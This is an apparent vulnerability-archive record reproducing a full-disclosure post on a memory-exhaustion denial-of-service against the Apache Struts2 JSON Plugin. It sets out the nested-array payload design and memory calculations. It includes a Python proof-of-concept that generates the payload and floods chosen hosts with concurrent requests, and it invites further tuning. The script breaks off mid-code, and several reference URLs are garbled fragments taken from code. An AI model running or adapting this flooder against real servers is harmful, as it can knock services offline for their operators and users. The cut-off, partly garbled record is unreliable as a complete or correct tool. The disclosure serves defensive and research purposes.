GCVE-1988-2026-0510
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Oct/50 | technical-description |
| http://&apos | |
| https://&apos | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ | |
| https://{host.rstrip |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | Maximised JSON Array |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "Maximised JSON Array",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "On 29 August 2026, we released \"Commas of D00m\" -- an old proof of concept that demonstrates unconstrained resource \nconsumption in many JSON parsers. As recently discussed (in \"Continued Apache Struts2 JSON Plugin Insecure \nDeserialisation\"), the Apache Struts2 JSON Plugin\u0027s S2-072 and prior code changes fail to sufficiently protect against \nthis style of attack. In that write-up, we examined the code and the underlying, incomplete fixes, as well as marched \nthrough a series of basic mathematical analyses that illustrated the point - showing how a single \u003c2MB JSON string can \nconsume more than 10 times that in RAM and how, when run with rather modest concurrency, such a request can consume \nmore than a GB of RAM.\n\nAs discussed in that write-up, for the sake of simplicity, an array-of-arrays of only 2 levels deep was chosen for the \ndiscussion, with several payload options discussed (and the desired end goal -- consumption of excessive CPU for a \nlittle less memory, shorter payloads, or more extreme memory consumption). The following is the more \"memory-hungry\", \nmore complex approach that better maximises the 2MB character length limit that the Apache Struts2 JSON Plugin applies \n(realistically, using an array-of-arrays of just 2 levels deep, the string can be under 1MB and consume over 40MB of \nRAM on a single query -- some queries can even get over 80GB per-request, but we\u0027ll save that as an exercise for the \nreader).\n\nThe Approach\nA JSON nested JSON array with the following dimensions:\n\n * Level 0 (root): an array with exactly 2 children\n * Level 1: each of the children from the above array contains an array with exactly 8,256 children (a total of \n16,512 elements, at the moment)\n * Levels 2-63: each of those 16,512 elements is a chain of 62 nested single-child arrays (`[[[[...]]]]`), with each \nlevel holding exactly one element\n * Leaf: each chain terminates in an empty String `\"\"`\nTotal: 16,512 chains, each exactly 62 singleton-array levels deep, fed by a 2 * 8256 fan-out at the top\n\nAnalysis\nA single array can hold at most 10,000 direct children (`maxElements`), so an array-of-arrays with no other content \nwill use 1,290,001 characters (of the 2,097,152 maximum) and consume roughly 48.6MB, leaving 807,151 characters unused \nsimply because the depth and breadth limiters. This means that, without having any \"content\" other than arrays, we can \nconsume almost 50MB on a single request, which is pretty good considering we are only using ~1.3 million of the ~2 \nmillion character budget. A massive array-of-arrays with no actual data, though, is fairly noisy and, frankly, 50MB is \nsmall peanuts compared to what we can get with just a little bit of data.\n\nBefore we go further, we need to discuss something that was mentioned in the last write-up but that needs a little more \nexplanation. Java\u0027s default ArrayList capacity (which is the maximum number of elements that it can house and \nshouldn\u0027t be conflated with \"size\") is 10. Most developers don\u0027t change this value and neither does the Apache Struts2 \nJSON Plugin. The cost of this, however, is not incurred, to its fullest, until the first `add(Object)` call is made -- \nonce that happens, the backing array is allocated, costing 56 bytes (double that if not using the compressed oops, as \ndiscussed in the previous write-up). After the first `add(Object)` call is made, the total cost of the ArrayList is 80 \nbytes (for simplicity\u0027s sake, we\u0027re going to stick with the compressed oops and lowest possible values throughout the \nrest of this work -- this value can be more depending on the environment) regardless of if the array has 1 or 10 \nelements in it (we\u0027ll ignore the automatic resizing in making that statement, just for the sake of argument). This \nmeans that for the cost of simply two characters -- `[` and `]`, which is just two bytes in our input, we cost the \nserver 80 bytes (which is 40 bytes/input character -- a massive win for the attacker). The next best that we can do is \nan empty String, which has a 20 bytes/input character pay-off, which is significantly worse. Adding elements to the \narray costs us at least one character -- `,` -- but we only see the ArrayList grow at key intervals, so it actually has \na slightly worse bytes/input character pay-off overall.\n\nLooking at the problem, we have ample room sideways -- 10,000 units left and right per element -- but are constrained \nalong the y-axis by the 64-depth limit. As width doesn\u0027t immediately equal a significant number of bytes consumed \nsince the cost is stepped, it\u0027s best to go n-1 deep and then fill out the leaves, which means that we get maximum usage \n-- 82,785,552 bytes of RAM consumed on a single request (assume 64-bit HotSpot JVM running with compressed oops and \n8-byte alignment -- a standard configuration set) -- in the manner described in the above \"The Approach\" section.\n\nIn other words, by fanning out into empty Strings and using 40 concurrent requests, we can consume ~3.31GB of RAM on \nthe host and maximise the 2MB input limit that Apache has put in place.\n\nThe Maths\n\n * ArrayList: ~24B + backing Object array of capacity n\n * Backing array: 16B + 4nB (rounded to 8 bytes by the JVM)\n * On first `add(Object)` call, the backing array goes to 56B\n * If hit rapidly and concurrently, garbage collection will not run (we\u0027ll take the worst case scenario, here, \nfor simplicity), so growing an array to 10,000 elements (14,053 capacity) costs 168,944 bytes in backing arrays\n * One singleton-chain level: 80B / 2 input characters = 40 bytes/input character\n * One chain (62 levels + leaf): (62B * 80B) + 40B = 5,000B for (62 * 2) + 2 characters -- 126 characters (39.68 \nbytes/input character)\\\n * 16,512 chains: 82,560,000B\n * two 8,256-wide level-2 arrays: 2 * 112,736 = 225,472B\n * 2-wide root: 80B\nAdd it all up and you get 82,785,552B on a single request. Multiply that by 40 (40 concurrent requests) and you have \n~3.31GB residing in memory at any given time. Stepped attacks, especially if paired with high-compute requests (again, \nboxing and unboxing requests are a great option), can dramatically increase that while allowing the attacker to \ndecrease the number of requests/second. Note that we leave such a trivial tweak to the PoC to the reader.\n\nThe Script\nThe following is a modernised version of Commas of D00m known as \"Let the Commas Hit the Floor\".\n\n```python\n#!/usr/bin/python3\n# ---\n# name: Nested-array depth overflow tester\n# category: Testing and scanning\n# tags: dos, payload, nested-array, recursion-depth, stack-overflow, json, flood, load, http\n# description: Floods a host with concurrent deeply nested JSON arrays (2 root children x 8,256 nested children,\n# each a 62-level chain of single-element arrays terminating in an empty string) to probe JSON parser\n# recursion/stack-depth limits.\n# placeholders:\n# - token: \"@@HOSTS@@\"\n# field: hosts\n# kind: list\n# format: python\n# label: Hosts\n# - token: \"@@CONTENT_TYPE@@\"\n# field: content_type\n# kind: text\n# label: Content-Type\n# default: application/json\n# - token: \"@@PATH@@\"\n# field: path\n# kind: text\n# label: Request path\n# optional: true\n# default: /\n# - token: \"@@HEADERS@@\"\n# field: headers\n# kind: map\n# format: python\n# label: Extra headers, like the cookie and authorisation headers\n# optional: true\n# - token: \"@@PARALLEL_COUNT@@\"\n# field: parallel_count\n# kind: text\n# label: Parallel count (concurrent threads)\n# optional: true\n# default: 40\n# - token: \"@@TOTAL_CONNECTIONS@@\"\n# field: total_number_of_connections\n# kind: text\n# label: Total connections\n# optional: true\n# default: 1000\n# - token: \"@@RECREATE_PAYLOAD@@\"\n# field: recreate_payload\n# kind: text\n# label: Recreate payload file (true/false)\n# optional: true\n# default: true\n# - token: \"@@PAYLOAD_FILE@@\"\n# field: payload_file\n# kind: text\n# label: Payload file\n# optional: true\n# default: prebuilt_payload_tmp\n# - token: \"@@ROOT_CHILDREN@@\"\n# field: root_children\n# kind: text\n# label: Root array children\n# optional: true\n# default: 2\n# - token: \"@@LEVEL2_CHILDREN@@\"\n# field: level2_children\n# kind: text\n# label: Level-2 array children (per root child)\n# optional: true\n# default: 8256\n# - token: \"@@CHAIN_DEPTH@@\"\n# field: chain_depth\n# kind: text\n# label: Nested single-child array chain depth (per slot)\n# optional: true\n# default: 62\n# - token: \"@@LEAF_VALUE@@\"\n# field: leaf_value\n# kind: text\n# label: Leaf value (terminates each chain)\n# optional: true\n# default:\n# - token: \"@@REQUEST_TIMEOUT@@\"\n# field: request_timeout\n# kind: text\n# label: Per-request timeout in seconds\n# optional: true\n# default: 10\n# ---\n\"\"\"Flood a host with deeply nested JSON arrays to probe recursion/stack-depth limits.\n\nBuilds a JSON array shaped as: a root array of 2 children, each a level-2 array of\n8,256 children (16,512 slots total), where each slot is a chain of 62 nested\nsingle-child arrays terminating in an empty-string leaf. This shape stresses a\nserver-side JSON parser\u0027s recursion/stack handling without relying on one single\npathologically deep structure. Fires the payload at each host with a configurable\namount of concurrency, tallying the status codes seen (413s and 5xx especially) and\nlogging any 5xx bodies to ``request-responses.txt``. A Content-Type and at least one\nhost are required.\nUsage:\n python script.py\n\"\"\"\n\nimport concurrent.futures\nimport json\nimport os\nimport time\nfrom datetime import datetime, timezone\n\nimport requests\n\n# REPLACE/ADJUST THESE\nconfig = {\n \u0027hosts\u0027: @@HOSTS@@,\n \u0027paths\u0027: [\u0027@@PATH@@\u0027 or \u0027/\u0027],\n \u0027content_type\u0027: \u0027@@CONTENT_TYPE@@\u0027 or \u0027application/json\u0027,\n \u0027extra_headers\u0027: @@HEADERS@@,\n \u0027parallel_count\u0027: int(\u0027@@PARALLEL_COUNT@@\u0027 or 40),\n \u0027total_number_of_connections\u0027: int(\u0027@@TOTAL_CONNECTIONS@@\u0027 or 1000),\n \u0027request_timeout\u0027: float(\u0027@@REQUEST_TIMEOUT@@\u0027 or 10),\n # Data for the payload generation\n \u0027recreate_payload\u0027: (\u0027@@RECREATE_PAYLOAD@@\u0027 or \u0027true\u0027).strip().lower() in (\u00271\u0027, \u0027true\u0027, \u0027yes\u0027),\n \u0027payload_file\u0027: \u0027@@PAYLOAD_FILE@@\u0027 or \u0027prebuilt_payload_tmp\u0027,\n \u0027root_children\u0027: int(\u0027@@ROOT_CHILDREN@@\u0027 or 2),\n \u0027level2_children\u0027: int(\u0027@@LEVEL2_CHILDREN@@\u0027 or 8256),\n \u0027chain_depth\u0027: int(\u0027@@CHAIN_DEPTH@@\u0027 or 62),\n \u0027leaf_value\u0027: \u0027@@LEAF_VALUE@@\u0027,\n}\n\nif not config[\u0027hosts\u0027]:\n raise ValueError(\u0027At least one host is required.\u0027)\n\n\ndef count_status_codes(responses, url):\n \"\"\"\n Walks through the responses, logs any 5xx bodies (labelled with ``url`` so\n multi-host runs stay attributable), and counts the status codes\n\n Args:\n responses (list[Response]): List of response objects\n url (str): The URL these responses came from\n\n Returns:\n dict: A dictionary with counts for each of the status codes that we monitor\n \"\"\"\n five_xx_responses = [r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]\n if five_xx_responses:\n try:\n with open(\u0027request-responses.txt\u0027, \u0027a\u0027, encoding=\u0027utf-8\u0027, errors=\u0027replace\u0027) as f:\n for response in five_xx_responses:\n f.write(f\"Response from {url}:\\n\")\n for header, value in response.headers.items():\n f.write(f\"{header}: {value}\\n\")\n f.write(f\"{response.text}\\n\")\n f.write(\"-\" * 50 + \"\\n\")\n print(f\"Successfully wrote {len(five_xx_responses)} response(s) to request-responses.txt\")\n except Exception as e:\n print(f\"Error writing to file: {str(e)}\")\n\n return {\n \u00272xx\u0027: len([r for r in responses if r is not None and 200 \u003c= r.status_code \u003c 300]),\n \u00274xx\u0027: len([r for r in responses if r is not None and 400 \u003c= r.status_code \u003c 500]),\n \u002740"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:05Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/50"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/50"
},
{
"url": "http://\u0026apos"
},
{
"url": "https://\u0026apos"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://{host.rstrip"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/50"
],
"discovery": "EXTERNAL"
},
"title": "Maximised JSON Array Attacks -- \"Let the Commas Hit the Floor\" Proof of Concept",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0510",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/50",
"automated": true,
"contentSha256": "97fa672f0f9b4a84aaccfe8fe6d38e52258bb8b52cabc83f94b838fb95cd6083",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/50",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-28T05:30:20Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:05Z",
"dateUpdated": "2026-11-02T07:30:05Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0510"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.